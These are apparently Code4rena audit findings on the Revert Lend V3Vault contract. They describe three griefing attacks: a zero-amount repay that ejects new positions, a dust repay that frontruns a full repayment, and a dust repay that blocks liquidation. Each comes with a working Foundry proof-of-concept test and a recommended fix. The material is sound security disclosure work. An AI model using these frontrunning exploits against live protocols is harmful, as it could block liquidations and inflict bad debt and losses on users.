Revert Lend - JCN's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L954

Vulnerability details

Bug Description

A user can create a position by calling the create function or by simply sending the NFT to the vault via safeTransferFrom. Both of those methods will trigger the V3Vault::onERC721Received function:

V3Vault::onERC721Received

446:            loans[tokenId] = Loan(0);
447:
448:            _addTokenToOwner(owner, tokenId); // @audit: NFT added to storage

The loan for this position (loans[tokenId]) is instantiated with 0 debt and the NFT is added to storage:

V3Vault::_addTokenToOwner

1297:    function _addTokenToOwner(address to, uint256 tokenId) internal {
1298:        ownedTokensIndex[tokenId] = ownedTokens[to].length;
1299:        ownedTokens[to].push(tokenId);
1300:        tokenOwner[tokenId] = to; // @audit: to == user address
1301:    }

At this point, the user has only instantiated their position and has not borrowed against it, meaning the position's debt is 0. Additionally, the V3Vault::_repay function does not require the amount to repay a position's debt to be non-zero. Thus, the following will occur when a malicious actor repays the non-existent debt of the newly created position with 0 value:

V3Vault::_repay

954:    function _repay(uint256 tokenId, uint256 amount, bool isShare, bytes memory permitData) internal {
955:        (uint256 newDebtExchangeRateX96, uint256 newLendExchangeRateX96) = _updateGlobalInterest();
956:
957:        Loan storage loan = loans[tokenId];
958:
959:        uint256 currentShares = loan.debtShares; // @audit: 0, newly instantiated
960:
961:        uint256 shares;
962:        uint256 assets;
963:
964:        if (isShare) {
965:            shares = amount; // @audit: amount == 0
966:            assets = _convertToAssets(amount, newDebtExchangeRateX96, Math.Rounding.Up);
967:        } else {
968:            assets = amount; // @audit: amount == 0
969:            shares = _convertToShares(amount, newDebtExchangeRateX96, Math.Rounding.Down);
970:        }
971:
972:        // fails if too much repayed
973:        if (shares > currentShares) { // @audit: 0 == 0
974:            revert RepayExceedsDebt();
975:        }
...
990:        uint256 loanDebtShares = loan.debtShares - shares; // @audit: null storage operations
991:        loan.debtShares = loanDebtShares;
992:        debtSharesTotal -= shares;
...
1001:        address owner = tokenOwner[tokenId]; // @audit: user's address
1002:
1003:        // if fully repayed
1004:        if (currentShares == shares) { // @audit: 0 == 0
1005:            _cleanupLoan(tokenId, newDebtExchangeRateX96, newLendExchangeRateX96, owner); // @audit: remove NFT from storage and send NFT back to user

As we can see above, repaying an empty position with 0 amount will result in the protocol believing that the loan is being fully repaid (see line 1004). Therefore, the _cleanupLoan internal function will be invoked, which will remove the position from storage and send the NFT back to the user:

V3Vault::_cleanupLoan

1077:    function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner)
1078:        internal
1080:    {
1081:        _removeTokenFromOwner(owner, tokenId); // @audit: remove NFT from storage
1082:        _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0); // @audit: noop
1083:        delete loans[tokenId]; // @audit: noop
1084:        nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId); // @audit: transfer NFT back to user

Since the user's NFT is no longer in the vault, any attempts by the user to borrow against the prematurely removed position will result in a revert since the position is now non-existent.

Impact

Users' newly created positions can be prematurely removed from the vault before the users can borrow against that position. This would result in the user wasting gas as they attempt to borrow against a non-existence position and are then forced to re-create the position.

Note that sophisticated users are able to bypass this griefing attack by submitting the create and borrow calls in one transaction. However, seeing as there are explicit functions used to first create a position and then to borrow against it, average users can be consistently griefed when they follow this expected flow.

Proof of Concept

Place the following test inside of the V3Vault.t.sol and run with forge test --mc V3VaultIntegrationTest --mt testGriefNewPosition:

    function testGriefNewPosition() public {
        // set up attacker
        address attacker = address(0x01010101);

        // --- user creates new position --- //
        _setupBasicLoan(false);

        (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
        assertEq(collateralValue, 8847206);
        assertEq(fullValue, 9830229);
        
        assertEq(address(vault), NPM.ownerOf(TEST_NFT)); // NFT sent to vault
        
        // --- user attempts to borrow against position, but gets griefed by attacker --- //

        // attacker repays 0 debt for position and removes position
        vm.prank(attacker);
        vault.repay(TEST_NFT, 0, false);

        assertEq(TEST_NFT_ACCOUNT, NPM.ownerOf(TEST_NFT)); // NFT sent back to user

        // user attempts to borrow with new position, but tx reverts
        vm.prank(TEST_NFT_ACCOUNT);
        vm.expectRevert(IErrors.Unauthorized.selector);
        vault.borrow(TEST_NFT, collateralValue);
    }

Tools Used

Manual

Recommended Mitigation Steps

I would recommend validating the amount parameter in the repay function and reverting if amount == 0. Additionally, there can be an explicit reversion if the loan attempting to be repaid currently has 0 debt.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L954

Vulnerability details

Bug Description

Users can choose to repay any amount of debt they wish, as there is no minimum repayment enforced for the repay functions. Additionally, any user can repay any position, as the msg.sender is not validated in the repay functions. When a position is repaid, the supplied debt shares (debt msg.sender wishes to pay off) must not be greater than the current debt shares for the position, else the transaction will revert:

V3Vault::_repay

959:        uint256 currentShares = loan.debtShares;
960:
961:        uint256 shares;
962:        uint256 assets;
963:
964:        if (isShare) {
965:            shares = amount;
966:            assets = _convertToAssets(amount, newDebtExchangeRateX96, Math.Rounding.Up);
967:        } else {
968:            assets = amount;
969:            shares = _convertToShares(amount, newDebtExchangeRateX96, Math.Rounding.Down);
970:        }
971:
972:        // fails if too much repayed
973:        if (shares > currentShares) {
974:            revert RepayExceedsDebt();
975:        }

Based on the above, a user who is attempting to repay their entire debt can be griefed when an attacker frontruns the user's transaction with a transaction to repay the smallest amount possible for the positions (Ex: 1 wei). This will result in currentShares decreasing, becoming less than the user's supplied shares in their tx. Thus, the user's tx will revert due to line 973.

Impact

An attacker can prevent user's from repaying their entire debt in one transaction. This will result in the user wasting gas for these failed transactions and will force them to repay their debt in multiple transactions.

Additionally, this griefing attack is relatively cheap for an attacker to execute since they only need to repay the smallest amount of debt possible for the position in question.

Proof of Concept

Place the following test inside of the V3Vault.t.sol and run with forge test --mc V3VaultIntegrationTest --mt testGriefFullRepay:

    function testGriefFullRepay() public {
        // set up attacker
        address attacker = address(0x01010101);
        uint256 attackerRepayAmount = 1; // 1 wei
        deal(address(USDC), attacker, attackerRepayAmount);

        // --- user borrows --- // 
        _setupBasicLoan(true);

        // --- user attempts to repay all debt but gets griefed by attacker --- // 
        (,, uint256 userTotalDebt,,) = vault.loanInfo(TEST_NFT);

        // attacker repays small amount of user's debt (frontrunning user)
        vm.startPrank(attacker);

        USDC.approve(address(vault), attackerRepayAmount);
        vault.repay(TEST_NFT, attackerRepayAmount, false);

        vm.stopPrank();

        // user is not able to pay off full debt, since it has now changed
        vm.startPrank(TEST_NFT_ACCOUNT);

        USDC.approve(address(vault), userTotalDebt);
        vm.expectRevert(IErrors.RepayExceedsDebt.selector);
        vault.repay(TEST_NFT, userTotalDebt, false);

        vm.stopPrank();
    }

Tools Used

Manual

Recommended Mitigation Steps

To mitigate this attack, a minimum repayment can be enforced. This would make the attack more costly and thus less likely to occur.

Additionally, the addresses allowed to repay a position can be restricted to addresses that the position owner has explicitly allowed. For example, only the position owner and approved transformers may be allowed to repay the debt of the position.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L685

Vulnerability details

Bug Description

Liquidations in Revert Lend occur in full. This means that the specified amount of debt shares to pay off must be equal to the current debt shares of the position, else the transaction will revert:

V3Vault::liquidate

695:        uint256 debtShares = loans[params.tokenId].debtShares;
696:        if (debtShares != params.debtShares) {
697:            revert DebtChanged();
698:        }

The current debtShares of a position will decrease when some amount of the position is repaid via the V3Vault::repay function. Additionally, there is no minimum repayment enforced in this repay function, which can allow a malicious actor to frontrun the liquidator's tx with a call to repay, repaying the smallest amount possible for the position's debtShares to decrease.

This will result in the liquidator's tx reverting since debtShares has now decreased and does not equal the supplied params.debtShares that the liquidator specified for their tx.

Impact

A malicious actor can temporarily block liquidations for unhealthy accounts by frontrunning liquidators with a transaction to repay the smallest amount possible for the position in question. In the worse case scenario (turbulent market conditions), this can incentivize a malicious actor to perpetually DoS liquidations for high value positions until those positions produce bad debt for the protocol.

Overall, this vulnerability increases the chances of the protocol incurring bad debt.

Proof of Concept

Place the following test inside of the V3Vault.t.sol and run with forge test --mc V3VaultIntegrationTest --mt testGriefLiquidation:

    function testGriefLiquidation() public {
        // set up attacker
        address attacker = address(0x01010101);
        uint256 attackerRepayAmount = 2; // 2 wei
        deal(address(USDC), attacker, attackerRepayAmount);

        // --- user borrows --- // 
        _setupBasicLoan(true);

        (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
        assertEq(collateralValue, 8847206);
        assertEq(fullValue, 9830229);

        // debt is equal collateral value
        (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);
        assertEq(debt, collateralValue);
        assertEq(liquidationCost, 0);
        assertEq(liquidationValue, 0);

        //  --- user's position becomes unhealthy and enters liquidation mode --- // 

        // wait 7 day - interest growing
        vm.warp(block.timestamp + 7 days);

        // debt is greater than collateral value
        (debt,,, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);

        assertEq(debt, 8869647);
        assertEq(liquidationCost, 8869647);
        assertEq(liquidationValue, 9226564);

        // --- liquidator attempts to liquidate position, but gets griefed by attacker --- // 
        uint256 debtShares = vault.loans(TEST_NFT);

        // attacker repays a small amount of debt to decrease debt shares
        vm.startPrank(attacker);

        USDC.approve(address(vault), attackerRepayAmount);
        vault.repay(TEST_NFT, attackerRepayAmount, false);

        vm.stopPrank();

        // liquidator's tx reverts since debt shares have changed
        vm.startPrank(WHALE_ACCOUNT);

        USDC.approve(address(vault), liquidationCost);
        vm.expectRevert(IErrors.DebtChanged.selector);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));

        vm.stopPrank();
    }

Tools Used

Manual

Recommended Mitigation Steps

This vulnerability was exploitable for two reasons:

1. There is no minimum repayment enforced
2. The liquidation will revert if the supplied debt shares to repay do not exactly equal the actual debt shares for the position.

A minimum repayment should be enforced to make this attack more costly, however it would not completely eliminate this attack vector.

Additionally, if the supplied params.debtShares are greater than the actual debt shares, then the function should not revert. Instead, the params.debtShares should be set to the actual debt shares of the position.

Assessed type

Other